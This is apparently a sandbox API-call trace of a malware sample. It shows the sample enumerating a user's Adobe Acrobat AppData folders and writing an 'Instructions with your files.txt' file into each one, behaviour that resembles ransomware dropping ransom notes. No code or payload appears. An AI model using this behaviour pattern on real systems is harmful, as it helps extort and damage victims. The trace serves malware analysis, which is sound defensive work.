[0131.210] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.210] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\..") returned 71
[0131.210] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Collab", cAlternateFileName="")) returned 1
[0131.210] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab") returned 75
[0131.210] GetProcessHeap () returned 0x810000
[0131.210] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.210] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*") returned 77
[0131.210] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.211] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\.") returned 77
[0131.211] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.211] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\..") returned 78
[0131.211] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9f48400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9f48400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9f48400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.211] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\Instructions with your files.txt") returned 108
[0131.211] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Collab\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\collab\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.212] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.212] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.213] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.213] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.213] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.213] CloseHandle (hObject=0x120) returned 1
[0131.213] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.213] GetProcessHeap () returned 0x810000
[0131.213] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.213] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Forms", cAlternateFileName="")) returned 1
[0131.213] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms") returned 74
[0131.213] GetProcessHeap () returned 0x810000
[0131.213] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.213] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*") returned 76
[0131.213] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.213] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\.") returned 76
[0131.213] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.213] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\..") returned 77
[0131.213] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd9df17a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9df17a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9df17a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.213] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\Instructions with your files.txt") returned 107
[0131.213] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Forms\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\forms\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.214] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.215] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.215] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.215] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.215] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.215] CloseHandle (hObject=0x120) returned 1
[0131.215] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.215] GetProcessHeap () returned 0x810000
[0131.215] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.215] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JavaScripts", cAlternateFileName="JAVASC~1")) returned 1
[0131.215] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned 80
[0131.215] GetProcessHeap () returned 0x810000
[0131.215] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.215] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*") returned 82
[0131.215] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.216] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\.") returned 82
[0131.216] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.216] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\..") returned 83
[0131.216] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.js", cAlternateFileName="")) returned 1
[0131.216] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js") returned 88
[0131.216] StrStrIW (lpFirst="glob.js", lpSrch="SDfghjkl") returned 0x0
[0131.216] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 1
[0131.216] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js") returned 97
[0131.216] StrStrIW (lpFirst="glob.settings.js", lpSrch="SDfghjkl") returned 0x0
[0131.216] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 0
[0131.216] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\Instructions with your files.txt") returned 113
[0131.216] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.218] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.219] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.219] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.219] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.219] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.219] CloseHandle (hObject=0x120) returned 1
[0131.219] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.219] GetProcessHeap () returned 0x810000
[0131.219] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.219] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1
[0131.219] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned 77
[0131.219] GetProcessHeap () returned 0x810000
[0131.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.219] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*") returned 79
[0131.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.220] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\.") returned 79
[0131.220] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.220] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\..") returned 80
[0131.220] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xda8cdc00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8f3d60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x1517, dwReserved0=0x0, dwReserved1=0x0, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1
[0131.220] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\addressbook.acrodata") returned 98
[0131.220] StrStrIW (lpFirst="addressbook.acrodata", lpSrch="SDfghjkl") returned 0x0
[0131.220] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CRLCache", cAlternateFileName="")) returned 1
[0131.220] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache") returned 86
[0131.220] GetProcessHeap () returned 0x810000
[0131.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.221] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*") returned 88
[0131.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.221] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\.") returned 88
[0131.221] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda2b43a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda5adf20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda5adf20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.222] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security\\CRLCache\\..") returned 89
